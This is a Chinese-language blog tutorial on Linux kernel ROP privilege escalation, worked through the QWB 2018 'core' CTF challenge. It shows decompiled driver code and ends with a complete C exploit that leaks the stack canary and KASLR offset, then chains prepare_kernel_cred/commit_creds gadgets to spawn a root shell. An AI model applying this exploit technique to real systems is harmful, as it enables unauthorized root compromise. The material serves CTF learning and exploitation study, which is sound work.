kernel expolitation

kernel rop

前言

内核 ROP 与普通的 ROP 无区别,只不过 system(/bin/sh) 变为了 commit_cred(&init_cred) 或者 commit_creds(prepare_kernel(NULL)),当在内核中执行这样的代码,当前线程的 cred 结构体便会变为 init 进程的 cred 的拷贝,也就获得了 root 权限

关于 &init_cred

是一个全局变量,类似

1
2
3
4
5
6
7
8
9
10
11
12
13
const struct cred init_cred = {
.usage = ATOMIC_INIT(4),
.uid = GLOBAL_ROOT_UID, // = 0
.gid = GLOBAL_ROOT_GID, // = 0
.euid = GLOBAL_ROOT_UID, // = 0
.egid = GLOBAL_ROOT_GID, // = 0
.suid = GLOBAL_ROOT_UID, // = 0
.sgid = GLOBAL_ROOT_GID, // = 0
.fsuid = GLOBAL_ROOT_UID, // = 0
.fsgid = GLOBAL_ROOT_GID, // = 0
...
};

表示 root 权限

prepare_kernel(0) 会新建一个和 root 的 cred ,类似复制 init_cred

状态保存

我们在内核中完成提权后,最终仍然要回到用户态以获得一个 root 权限的 shell,所以当我们脚本进入内核态时需要手动模拟保存寄存器

通常情况下我们都是保存在自己的变量之中的,以便于构造 rop 链

这里 wiki 给出了一个模板,intel 风格,需要指定参数 -masm=intel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
asm volatile (
"mov user_cs, cs;" //这里 user_cs 等都是我们自己定义的变量
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);

puts("[*] Status has been saved.");
}

返回用户态

返回用户态流程

  • swapgs 恢复 GS 寄存器
  • sysretq 或者 iretq 恢复到用户空间

我们只要在内核中找到相应的 gadget 并执行 swapgs;iretq 就可以返回到用户态

通常来说,rop 链应如下

1
2
3
4
5
6
7
↓   swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss

有时候会引发栈平衡的问题,这时候可以调整 sp 寄存器的值来通过(加减8)

例题

强网杯 2018 - core

前言

题目给了 bzImage,core.cpio,start.sh,以及带符号表的 vmlinux

vmlinux 是未经压缩的 kernel ELF 文件,我们可以从中找到一些gadget,可以用 ROPgadget 或 ropper 对齐进行提取,当然直接用 ropper 分析也是可以的

1
2
ropper --file ./vmlinux --nocolor > gadget_ropper.txt
ROPgadget --binary ./vmlinux > gadget_ropgadget.txt

如果没有给 vmlinux,可以用 extract-vmlinux 提取

1
./extract-vmlinux ./bzImage > vmlinux

start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

可以看到开了 kaslr,顺便复习一下 kaslr

kaslr

内核的地址随机化保护,会给内核加载地址加上随机偏移,但偏移量同一,所有函数,全局变量,gadget都是这个偏移

所以我们需要先泄露出某个函数的真实地址,减去其未启用 kaslr 时的地址,就可以得到偏移

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict # kptr_restrict设为1,这样我们就不可以通过/proc/kallsyms直接读取函数的地址了
echo 1 > /proc/sys/kernel/dmesg_restrict # 该值设为1表示不可通过dmesg查看kernel信息了
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

第 9 行将符号表导出到 /tmp/kallsyms,这样普通用户也可以读到

第 18 行表示 120 秒后强制关机,可以去掉,无影响

IDA

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL; // 返回0表示加载成功
}
core_read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h] 这里canary在rbp-0x10的位置,可以推测出底下off要求偏移为64来泄露canary

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL); // 将得到的字符串传到a1给用户
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
core_write
1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )//将输入的传到name变量里
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}
core_copy_func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1); // 整数溢出,不过该函数不会0截断,我们不可以输入-1,否则拷贝的数据太多了貌似会出错
}
return result;
}
core_ioctl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C://更改偏移
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

步骤

  • 首先肯定是要gadgets,这里不能用带符号表的 vmlinux,而是要用 core.cpio 解包出来的 vmlinux,在这里卡了好久/(ㄒoㄒ)/~~。
  • kernel_base 也需要,可通过 checksec 得到
1
2
3
4
5
6
7
8
9
10
11
yyyffff@yyyffff-virtual-machine:~/kernel/give_to_player/core$ checksec vmlinux
[*] '/home/yyyffff/kernel/give_to_player/core/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
  • 要求 kaslr 的偏移,要知道运行时真实地址和未加 kaslr 的基址,前者可以通过读取 /tmp/kallsyms 得到,后者可以通过 vmlinux 得到
1
2
yyyffff@yyyffff-virtual-machine:~/kernel/give_to_player/core$ nm -n vmlinux | grep commit_creds
ffffffff8109c8e0 T commit_creds

(nm 是查看符号表的工具,可列出函数、全局变量等符号及它们地址和类型 -n 表示按符号地址从小到大排序 grep 表示过滤出名字包含 commit_creds 的行)

  • canary 也要泄露出,可以通过 IDA 存到了 [rbp-0x10] 的位置,可以得出偏移为 64
  • commit_creds 和 prepare_kernel_cred 地址也要泄露,我们可以通过读取 /tmp/kallsyms 来获得

exp

(参考wiki的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define kernel_base 0xffffffff81000000;//从vmlinux中找的gadgets
#define COMMIT_CREDS 0xffffffff8109c8e0;
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2
size_t rop[100];
size_t user_cs,user_ss,user_rflags,user_sp;//这里存我需要保存的寄存器值
size_t commit_creds=0,prepare_kernel_cred=0;
size_t kernel_offset;
void save_status(void)//保存寄存器,以便返回用户态
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("[*] Status has been saved.\n\n");
}
void core_read(int fd,char *buf)
{
ioctl(fd,0x6677889B,buf);
printf("Sucee read!\n");
}
void set_off(int fd,size_t off)
{
ioctl(fd,0x6677889C,off);
printf("Success set off!\n");
}
void core_copy(int fd)
{
ioctl(fd,0x6677889A,0xffffffffffff0000|(0x100)); //这里就是拷贝256个字节
printf("Success copy!\n");
}
void get_shell()
{
if (getuid())//如果成功,uid为0,这里判断是否root
{
printf("Fail to get root!\n");
exit(0);
}
printf("Success to get root!\n");
system("/bin/sh");
exit(EXIT_SUCCESS);
}
int main()
{
char buf[0x1000],type[0x10];
int fd;
size_t addr;
size_t canary;
save_status();//保存寄存器
fd=open("/proc/core",O_RDWR);
if (fd<0)
{
printf("Eorror\n");
exit(0);
}
//leak offset
printf("----leak addr----");
FILE *ksyms_file=fopen("/tmp/kallsyms","r");//读取/tmp/kallsyms中的地址
if (ksyms_file==NULL)
{
printf("Fail to open file!\n");
exit(0);
}
while (fscanf(ksyms_file,"%lx%s%s",&addr,type,buf))
{
if (prepare_kernel_cred&&commit_creds)//寻找prepare_kernel_cred和commit_creds的地址
break;
if (!strcmp(buf,"commit_creds"))
{
commit_creds=addr;
printf("Success get commit_creds's addr %lx !\n",commit_creds);
}
if (!strcmp(buf,"prepare_kernel_cred"))
{
prepare_kernel_cred=addr;
printf("Success get prepare_kernel_cred's addr %lx !\n",prepare_kernel_cred);
}
}
kernel_offset=commit_creds-COMMIT_CREDS;//计算kaslr的偏移
printf("---leak canary---\0");//泄露canary
set_off(fd,64);
core_read(fd,buf);
canary=((size_t*)buf)[0];
printf("Success get canary %lx !\n",canary);
int i;
for(i=0;i<10;i++)
rop[i]=canary;
rop[i++]=POP_RDI_RET+kernel_offset;
rop[i++]=0;
rop[i++]=prepare_kernel_cred; //perpare_kernel_cred(0)
rop[i++]=POP_RDX_RET+kernel_offset;
rop[i++]=POP_RCX_RET+kernel_offset;
rop[i++]=MOV_RDI_RAX_CALL_RDX+kernel_offset; //commit(perpare_kernel_cred(0))
rop[i++]=commit_creds;
// 解释一下这里为什么要这样构造,首先pop rdx ret会将pop rcx的地址压入rdx之中,此时rdx中存储的地址是pop rcx,接着rip为mov rdi rax....,这里call指令会将rip指向的下一个地址压入栈中,然后执行rdx中的内容,这里栈顶就不是commit_creds了,是这个mov...这个gadgets的下一条指令,接着我们执行rdx中内容,也就是pop rcx,将栈顶弹出到rcx中,此时rsp有指向commit_creds,这样就可以返回到commit_creds上了。rcx起到了垃圾桶的作用,使栈顶为commit_Creds。至于为什么要有mov rdi, rax,因为之前prepare_kernel_cred(O)会创建一个cred结构并且将指针返回到rax之中
//return to user space
rop[i++]=SWAPGS_POPFQ_RET+kernel_offset;
rop[i++]=0;
rop[i++]=IRETQ+kernel_offset;
rop[i++]=(size_t*)get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
printf("Rop get ready!\n");
write(fd,rop,0x800);
core_copy(fd);
return 0;
}

kernel expolitation
http://yyyffff.github.io/2025/08/26/kernel expolitation/
作者
yyyffff
发布于
2025年8月26日
许可协议